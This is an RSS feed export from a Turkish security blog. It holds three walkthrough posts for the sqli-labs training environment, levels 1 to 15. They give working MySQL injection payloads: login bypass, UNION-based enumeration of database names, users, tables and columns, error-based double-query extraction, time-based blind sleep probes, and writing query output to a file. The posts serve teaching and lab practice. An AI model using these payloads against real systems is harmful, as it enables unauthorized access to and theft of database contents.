sqli arşivleri • CanYouPwnMe! - For Cyber Security Researchers https://canyoupwn.me cypm! Sun, 23 Jul 2017 18:41:51 +0000 tr hourly 1 https://wordpress.org/?v=6.0 https://canyoupwn.me/wp-content/uploads/2016/02/cropped-Başlıksız-1-32x32.png sqli arşivleri • CanYouPwnMe! - For Cyber Security Researchers https://canyoupwn.me 32 32 TR | Sql-i Labs Walkthrough Series 10-15 https://canyoupwn.me/sql-i-labs-walkthrough-series-10-15/ https://canyoupwn.me/sql-i-labs-walkthrough-series-10-15/#respond Fri, 24 Jun 2016 07:29:28 +0000 https://canyoupwn.me/?p=2988 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

SQL-i Labs 10-15 Merhaba arkadaşlar , bu yazı dizimizde 10-15. alıştırmaları göreceğiz. Bizim için işler artık biraz zorlaşıcak gibi o yüzden kahvelerinizi eksik etmeyin 🙂 Uyarı : Burada yapılan çoğu uygulama belki gerçek hayatta karşınıza bu şekilde kabak(başka hangi kelime ile bu kadar güzel ifade edilir ) gibi çıkmayacaktır.Alıştırmalar tamamen experience ( deneyim ) kazanma […]

TR | Sql-i Labs Walkthrough Series 10-15 Enes ERGÜN

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

SQL-i Labs 10-15

Merhaba arkadaşlar , bu yazı dizimizde 10-15. alıştırmaları göreceğiz.

Bizim için işler artık biraz zorlaşıcak gibi o yüzden kahvelerinizi eksik etmeyin 🙂

Uyarı : Burada yapılan çoğu uygulama belki gerçek hayatta karşınıza bu şekilde kabak(başka hangi kelime ile bu kadar güzel ifade edilir ) gibi çıkmayacaktır.Alıştırmalar tamamen experience ( deneyim ) kazanma üzerine kuruludur.

Önce ki yazılara ulaşmak için :

TR | SQL-i Labs Walkthrough Basic 0-5

TR | SQL-i Labs Series Walkthrough Basic 6-10

Öncelikle şunu da söylemek istiyorum.Yine bir önceki yazılarımızda olduğu gibi sadece bypass yöntemlerini göstereceğiz ve diğer levele geçeceğiz.Siz isterseniz bütün tabloları çekmeye çalışabilirsiniz.Takdir edersiniz ki bütün levellerde bunu yaparsak bizden önce yazıyı okurken siz sıkılırsınız 🙂

Anlaştıysak başlayalım.

Level 11 :

Daha önceki levellerimize bakarak burada karşımıza bir login ekranı çıkıyor.Burada bizim bir şekilde buraya login olmamız gerekiyor.Bu konuda bizim en basit payload’ımız neydi ?

"or 1=1 ---+

Bi deneyelim hmmm işe yaramadı sanırım.Neyse biz sadece username kısmına tek tırnak çift tırnak atarak hata verdirmesini sağlayalım.Tek tırnak attığınızda aşağıda ki hatayı alacaksınız.
resim1

O zaman bizde payload’ımızı tek tırnak ile deneyelim.

' or 1=1 --+

Bu şekilde girdiğinizde uygulamaya bir şekilde login olduk.Olma sebebimize gelirsek eğer

1=1 eşitliği her zaman True döndüreceğinden dolayı bizi sisteme dahil etti.

Yani şöyle düşünün oraya gerçek bir username password yazsaydık ve bu doğru olsaydı şu şekilde bir operatör ile doğruluğu kontrol edilecekti.

eğer username=cypm and password=123456 == True
yazdır 'Giriş başarılı.'
değilse
yazdır ' Giriş başarılı değil.'

resim2

Level 12:

Bu levelimizde ismine bakarsak aslında 11.level ile aynı tek farkı çift tırnak koymamız olacak fakat bunu aşağıda ki şekilde denediğimizde başarılı bir şekilde login olamıyoruz.

 " or 1=1 --+

Bu kısımda tamamen doğaçlama yaparak sql sorgusunun hata verebilmesi için

'"  (Tek tırnak + Çift Tırnak )

payloadını kullanarak hata verdirdim.
resim3
Ve orada gördüm ki parantez işaretleri bulunuyor.Yani bu demek oluyor ki kapatmamız gereken bir parantezimiz var.( Şuan belkide alıştırma dışına çıkmış bile olabiliriz )Hemen aşağıda ki payload’ı girdim.

")or 1=1 #

Ve okus pokus septimus severus ( kendisi roma imparatorudur bu arada )
resim4

Level 13 :

Geldik Double injection olan kısıma normal bir insan olsak burada kurallara , yönergelere uyarak çift sorgu ile bir şekilde bu leveli bypass edip geçmeyi düşünürdük.Değil mi ?

Ama biz normal miyiz ? Duyamadım ? Evet değiliz.

O yüzden double injection niye yazalım ki ?

Hemen yine sql sorgumuza error verdirtelim.
resim5
Gördüğünüz gibi buradada bir parantez var ve bunu kapatmalıyız.Bu arada hatayı

"'

ile verdirttim.

Hemen payloadımızı girelim ve sonuca arkamıza yaslanarak bakalım.

')or 1=1 #

resim6

Yaşasın HackerMind!

Level 14 :

Bu level de de double injection isteniyor fakat ben yine niye uğraşayım ki double injection ile ?

Tabi enes durur mu yapıştırmış payload’ı

"or 1=1 #

resim7

Level 15:

Bu levelimizde Boolian based yani Bool ifade ile giriş yapmamız isteniyor.Nedir bool ifade ?
Türkçe olarak düşündüğümüzde Doğru ve Yanlış.

Yabancılarda ise True ve False şeklinde.

Detaylı açıklama için : https://tr.wikipedia.org/wiki/Boole%27ca

Yani burada yapmamız gereken aslında level 11 de ki gibi

giriceğimiz bir ifadenin bize True döndürmesi gerekiyor.O yüzden bizim en basit true döndüren payloadımız nedir ?
1 = 1’dir.

O zaman payloadımızı yazalım.

" or 1=1 #

Veeeee aman Allah’ım o da ne ? Login olamadık.

resim8

Demek ki neymiş ? Ezbere gitmeyecekmişiz mantığını öğrenecekmişiz.Birde bana güvenmeyecekmişsiniz 🙂

Burada ki payload’ımız yukarıda ki payload değil aşağıdakidir.

' or 1=1 #

resim9

Not:Ne sizin ne de benim yazıyı okurken/yazarken sıkılmamanız için karşılıklı dialog şeklinde ve biraz laubali şekilde yazmış olabilirim.Eğer bu konu hakkında eleştiriniz vs. var ise yorum atabilir veya mail gönderebilirsiniz.

Bir daha ki yazımızda görüşmek üzere.

TR | Sql-i Labs Walkthrough Series 10-15 Enes ERGÜN

]]>
https://canyoupwn.me/sql-i-labs-walkthrough-series-10-15/feed/ 0
TR | SQL-i Labs Series Walkthrough Basic 6-10 https://canyoupwn.me/sql-i-labs-walkthrough-basic-6-10/ https://canyoupwn.me/sql-i-labs-walkthrough-basic-6-10/#respond Wed, 08 Jun 2016 20:16:36 +0000 https://canyoupwn.me/?p=2594 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Merhabalar daha önce 0-5 level arasını şurada ki linkte paylaşmıştık. TR | SQL-i Labs Walkthrough Basic 0-5 Bugün ise bir seri şeklinde 6-10 level arasını birlikte çözeceğiz. Level 6 : Bu levelimiz aslında level 5 ile aynı tek farkı ” ‘ ” kullanmak yerine ” ” ” kullanmamız. Level 5 için : https://canyoupwn.me/sql-i-labs-walkthrough-basic-0-5 1"+and(select 1 […]

TR | SQL-i Labs Series Walkthrough Basic 6-10 Enes ERGÜN

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Merhabalar daha önce 0-5 level arasını şurada ki linkte paylaşmıştık.

TR | SQL-i Labs Walkthrough Basic 0-5

Bugün ise bir seri şeklinde 6-10 level arasını birlikte çözeceğiz.
Level 6 :

Bu levelimiz aslında level 5 ile aynı tek farkı ” ‘ ” kullanmak yerine ” ” ” kullanmamız.

Level 5 için : https://canyoupwn.me/sql-i-labs-walkthrough-basic-0-5

1"+and(select 1 FROM(select count(*),concat((select (select concat(database())) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a) --+

resim1
Level 7 :
Bu levelde bizden sorgularımızı biz dosyaya aktarmamızı istiyor.Aslında buna mecbur bırakıyor yoksa biz tabi ki basit yolu seçmeyi isteriz.
Burada ki payloadımızda ilk baş bi tek tırnak ile deneme yapalım isterseniz.Biz tek tırnak attığımızda hata vericektir.Doğru bir yolda gidiyor gibi duruyoruz.

select * into dumpfile "hebelehubele.sql"

Bizde şu sorguyu gerçekleştiriyoruz.

1'union select 1,2,3 into dumpfile "hebelehubele.txt"

resim2

Yukarıda ki sorguyu kullandığımızda bize hiç bir çıktı vermediğini görüyoruz.Demek ki bi yerlerde hata yapıyoruz.Evet hatanın sebebini buldum fakat bunu deneme yanılma yöntemiyle değil hileye başvurarak buldum.
Nedir bu hile ? : Kaynak kodlarına bakmak.Gerçekte böyle bir senaryo ile karşılaştığınızda bu imkanınız elinizde bulunamayabilir.

Burada sitenin sorgusunun içinden aşağıda ki şekilde çıkmamız gerekiyor.

1')) sorgunuz

Bu şekilde sorgu içinden çıktıktan sonra artık sorgu sonucunu bir dosyaya yazdırabiliriz.

1'))union select 1,2,3  into dumpfile "/tmp/mirkelam.txt"--+

resim3

Level 8 :

İlk önce tek tırnak atalım.Gördüğünüz gibi you are in yazısı kayboldu.

resim4

Şimdi burada amacımız burada sql injection olduğunu kanıtlamak.Bunun içinde sorgu denemeleri yapıcaz ve sorguyu kontrol edebiliyor muyuz ? Bunu kontrol edicez.

1'and 1=1 --+

resim5

Yaptığımızda bize yine you are in yazısını göstericek.Belki kod da bi yanlışık vardır sorguyu yine kontrol edebiliyor muyuz deneyelim.

1'and 1=2 --+

Yukarıda ki payload’ı girdiğimizde you are in yazısı yine kayboldu demek ki neymiş biz sorguyu kontrol edebiliyormuşuz.
resim6

Level 9 :

.

Level 8 e benzer bir yapısı var bu levelinde tek farkla level 8 de 199 gibi id ler girdiğimizde bize hiç bir text dönmüyordu.Fakat level 9 da bu şekilde değil.

?id=500000

yazarsanız hala aynı şekilde durduğunu göreceksiniz.

Burada yine körlemesine dalıyoruz ve şu payloadı yazıyoruz.

?id=1'and sleep(10) --+

Bu payload ı yazıp enterladığınızda sayfa 10 saniye kadar ( fazlada olabilir emin olamadım şimdi 🙂 ) beklemeye geçicek bu da ne demektir ? Burada sql injection var demektir.

resim7

Level 10 :
Bu levelimiz level 9 ile aynıdır.Tek fark ” ‘ ” yerine ” “(çift tırnak) ” kullanıyor oluşumuz.

Payloadımız

1"and sleep(10) --+

resim8

TR | SQL-i Labs Series Walkthrough Basic 6-10 Enes ERGÜN

]]>
https://canyoupwn.me/sql-i-labs-walkthrough-basic-6-10/feed/ 0
TR | SQL-i Labs Walkthrough Basic 0-5 https://canyoupwn.me/sql-i-labs-walkthrough-basic-0-5/ https://canyoupwn.me/sql-i-labs-walkthrough-basic-0-5/#respond Thu, 19 May 2016 23:56:43 +0000 https://canyoupwn.me/?p=2379 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Sqli – Lab Nedir ? Sqli lab diğer egzersiz ortamlarına nazaran sadece sql injection üzerine odaklanmış bir egzersiz ortamıdır. Öncelikle bu ortama ulaşmak için : https://github.com/Audi-1/sqli-labs Yukarıda ki adresden indirmek için git clone https://github.com/Audi-1/sqli-labs.git Komutunu kullanabilirsiniz.(Bağımlılık olarak git kurulması gereklidir.) Veya wget --no-check-certificate https://github.com/Audi-1/sqli-labs.git Komutunu kullanabilirsiniz. Daha sonra db-credits.inc dosyasının içinde ki kendi mysql user,password […]

TR | SQL-i Labs Walkthrough Basic 0-5 Enes ERGÜN

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Sqli – Lab Nedir ?
resim1
Sqli lab diğer egzersiz ortamlarına nazaran sadece sql injection üzerine odaklanmış bir egzersiz ortamıdır.
Öncelikle bu ortama ulaşmak için : https://github.com/Audi-1/sqli-labs
Yukarıda ki adresden indirmek için

git clone https://github.com/Audi-1/sqli-labs.git

Komutunu kullanabilirsiniz.(Bağımlılık olarak git kurulması gereklidir.)
Veya

wget --no-check-certificate https://github.com/Audi-1/sqli-labs.git

Komutunu kullanabilirsiniz.

Daha sonra db-credits.inc dosyasının içinde ki kendi mysql user,password kısımlarını düzeltiniz.
Daha sonra tarayıcınızdan girip Setup/Reset database for labs linkine tıklayarak kurulumu tamamlayabilirsiniz.Eğer herhangi bir sorun ile karşılaşırsanız çekinmeden [email protected] adresine mail atabilirsiniz.

Not : Bu yazımızda ilk 10 levele değineceğiz.Sadece ilk level de son kısıma kadar gideceğim ve geri kalan levellerde sadece payloadı vereceğim.

SQLi-Labs Page 1 ( Basic )

Sqli Labs 1 :

Bu levelin isminden anlayabiliceğimiz gibi hata bazlı bir enjeksiyon gerçekleştireceğiz.
Ben bu levelde ?id=1 kısmından sonra tek tırnak ile hata vermeye zorladım ve bize hatayı verdi.

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''-1'' LIMIT 0,1' at line 1

Bu kısımdan sonra

?id=1'order by 6

gibi kodlarını girdiğimizde herhangi bir işe yaramadığını bizzat deneyimledim.Hatta baya uğraştım diyebiliriz 🙂

?id=1'order+by+6# veya ?id=1'order+by+6--+

gibi payloadlar bir işimize yaramadı.
Not : 6 sayısı tamamen sallamasyon sayıdır itibar etmeyiniz.

resim2

Bende payload sonuna sıkça kullanılan –+ karakter setini girdim ve order by komutunu yavaş yavaş artırdım.

?id=1'order by 4 --+

resim3

Yukarıda ki resim de order by kullanarak 4.kolon da hata aldık.Order by ile ilgili trickimiz neydi ? Hangi sayıda hata veriyorsa mantıken -1 kolon sayısını çekecektir.

Artık 3 kolon çektiğini bildiğimize göre şu sıralamaya uyarak ilerleyebiliriz.

Toplam kolon sayısını bulma.
Vulnerable kolonları ekrana bastırma.
Vulnerable kolonlar sayesinde gerekli bilgileri çekmek.

Şimdi vulnerable(zaafiyet barındıran) kolonları ekrana yansıtalım.

bunun için aşağıda ki payload’ı kullanıyoruz.

?id=-1'union select 1,2,3 --+

resim4

Burada union operatörüyle yazıcağımız sql kodlarının hangi kısıma yazacağımızı görüyoruz.Yani aşağıda ki gibi bir kod yazdığımızı düşünürsek

?id=1'union select 1,bizimsqlkodumuz,bizimsqlkodumuz

Hadi şimdi işleri biraz heyecanlandıralım.Database ve user’ı çekelim.

?id=-1'union select 1,database(),user()

resim5

Gördüğünüz gibi database ismimiz security , kullanıcımız ise root@localhost

Burada -1 kullanmamızın nedeni 1 idsine sahip bir verimiz var ve sadece onu gösteriyor eğer -1 yapmazsak veriyi çeksekte ekrana bastırmıyor.

Şimdi de tablo isimlerimizi çekelim.

Bunun için payloadımız

-1'union select 1,group_concat(table_name),3 from information_schema.tables--+

resim6

Eğer burada group_concat yerine

-1'union select 1,table_name,3 from information_schema.tables--+

bu şekilde bir payload kullansaydık bize sadece tek bir tablo ismini verecekti.Örnek :

resim7

Şimdi de sütunlarımızı çekelim

?id=-1'union+select+1,group_concat(column_name),3+from+information_schema.columns--+

resim8

Gördüğünüz gibi fazlaca tablo ve sütun bulunuyor.O zaman ne yapalım ? Şuan bulunduğumuz tabloda ki sütunları çekelim değil mi ?

?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database()--+

resim9
Gördüğünüz gibi tablomuzda ki sütunlar bunlar.
Aynı şekilde tablo isimlerini de bu şekilde çekebilirsiniz.

?id=-1'union select 1,group_concat(table_name),3 from information_schema.columns where table_schema=database()

resim10

Username , password kısımlarını id girerek gördüğümüz için gerikalan kısımlarını pas geçiyoruz.

 

Level 2:

Bu level ile ilgili :

Bir çok kaynakta

?id=1 ;

şeklinde bir payload yazılmış fakat

Bizim

?id=1 --+

kodumuz da işe yarayacaktır.Nasıl da sahiplendik hemen son bükücümüzü 🙂

resim11

-1 union select 1,2,3 --+

 

Level 3:

Bu level şu ana kadar gördüklerimizden biraz farklı bu levelde arkaplanda ki sql kodlarımızda

Aşağıdakine benzer bir kod çalışıyor.

select * from users where userid=(getrequest) \\ Tahminidir.

resim12
Burada yapmamız gereken şey “(” işaretini “)” işareti ile bypass edip kendi kodlarımızı çalıştırmak olmalı.Bende bunun için şöyle birşey denedim.

-1')union+select+1,2,3 --+

resim13
Şimdi bu kısımda açıklama gereği duyuyorum.

select * from users where userid=('getrequest')' limit 0,1 \\ Tahminidir.

Yukarıda ki kodu “)” karakteri ile aşağıda ki hale getirmiş olduk.

select * from users where userid=('')union select 1,2,3

Level 4 :

Bu levelde yapmamız gereken şey aslında bir önceki level ile aynı fakat burada Single Quotes ( ‘ ) yerine bu kısımda Double Quates ( ” ) kullanmamız.

Payloadımız :

?id=-1")union+select+1,2,3 --+

resim14

Level 5 :

İşte belki de en komplike levelimize geldik.Bu levelde adından anlaşılacağı gibi bu levelde 1 sorguda iki sorgu çalıştıracağız.Hemen aklınıza or veya and operatörleri gelmesin biraz daha komplike çünkü adeta bir inception gibi injection yapacağız.

resim15

1'+and(select 1 FROM(select count(*),concat((select (select concat(database())) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a) --+

Üst kısımda gördüğünüz gibi and ile birlikte select komutu daha sonra from kısmında ise iç içe select komutlarını giriyoruz.Burada aslında security adlı database’i ( veritabanı ( bunu burada neden ayrı bir parantez ile belirttim bilmiyorum ama konuya çok uygun oldu ) ) çekip bunu 0,1 ile limitleyip daha sonra 2 ile çarpıp yuvarlama yapıyoruz.Aslında kod kalabalığından başka birşey değil fakat engellemeyi aşmak için böyle bir yönteme başvuruyoruz.Anlamadınız değil mi ? Bende anlamamıştım beyin baya bir overload olmuş(tu).

TR | SQL-i Labs Walkthrough Basic 0-5 Enes ERGÜN

]]>
https://canyoupwn.me/sql-i-labs-walkthrough-basic-0-5/feed/ 0